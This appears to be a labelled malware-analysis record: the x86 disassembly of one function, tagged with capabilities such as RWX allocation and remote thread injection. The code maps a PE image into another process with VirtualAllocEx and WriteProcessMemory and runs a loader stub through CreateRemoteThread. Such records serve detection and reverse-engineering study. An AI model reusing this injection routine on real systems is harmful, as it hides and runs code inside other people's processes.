Function at 0x419060
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507ecf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x260
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x14], 0
push edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0
lea ebx, [ebp + 8]
cmp dword [ebp + 0x1c], 0xf
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], ebx
jbe 0x4190a8
mov ebx, eax
mov dword [ebp - 0x38], eax
lea edx, [ebp + 8]
jbe 0x4190af
mov edx, eax
mov edi, dword [ebx + 0x3c]
push 0x40
add edi, edx
push 0x3000
push dword [edi + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp + 8]
mov dword [ebp - 0x34], eax
jbe 0x4190d6
mov ecx, dword [ebp + 8]
push 0
push dword [edi + 0x54]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor ebx, ebx
cmp ax, word [edi + 6]
jae 0x419129
lea esi, [edi + 0x10c]
cmp dword [ebp + 0x1c], 0xf
lea eax, [ebp + 8]
jbe 0x419100
mov eax, dword [ebp + 8]
mov ecx, dword [esi]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x34]
push ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [edi + 6]
inc ebx
add esi, 0x28
cmp ebx, eax
jl 0x4190f4
mov esi, dword [ebp - 0x18]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x38]
mov ebx, eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x26c], eax
push 0x200
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x268], ecx
mov ecx, dword [edi + 0xa0]
add ecx, eax
mov dword [ebp - 0x264], ecx
mov ecx, dword [edi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x25c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x254]
push 0
push eax
mov dword [ebp - 0x260], ecx
call fcn.004e1ab0
add esp, 0xc
mov word [ebp - 0xf], 0x3a
mov byte [ebp - 0xd], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf]
mov edx, dword [0x5442a4]
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4191c0
mov eax, closesocket
sub ecx, edi
sub eax, edx
cmp eax, ecx
jb 0x41938d
cmp dword [0x5442a8], 0xf
mov eax, 0x544294
jbe 0x4191eb
mov eax, dword [0x544294]
push ecx
lea ecx, [ebp - 0xf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.00470ea0
mov dword [ebp - 0x14], 1
mov byte [ebp - 4], 2
mov eax, 0x5442e0
cmp dword [0x5442f4], 0xf
jbe 0x41921c
mov eax, dword [0x5442e0]
push dword [0x5442f0]
lea ecx, [ebp - 0x54]
push eax
call fcn.0046b590
mov edx, eax
mov dword [ebp - 0x14], 3
xor eax, eax
mov edi, 3
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x30], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x14], edi
and edi, 0xfffffffe
mov dword [ebp - 0x1c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x54]
call fcn.00402c80
cmp dword [0x541db0], 0xf
mov ecx, 0x541d9c
jbe 0x4192aa
mov ecx, dword [0x541d9c]
cmp dword [ebp - 0x1c], 0xf
lea eax, [ebp - 0x30]
jbe 0x4192b6
mov eax, dword [ebp - 0x30]
push ecx
push eax
lea eax, [ebp - 0x254]
push str._s_s
push eax
call fcn.00403220
add esp, 0x10
lea eax, [ebp - 0x26c]
push 0
push 0x218
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00419050
lea esi, [ebx + 0x218]
mov ebx, dword [ebp - 0x18]
sub eax, 0x418f40
push eax
push 0x418f40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x3c]
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and edi, 0xfffffffd
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0xf
jbe 0x41935b
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419351
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419392
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00402c80
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.004025a0
call fcn.004e4d70
int3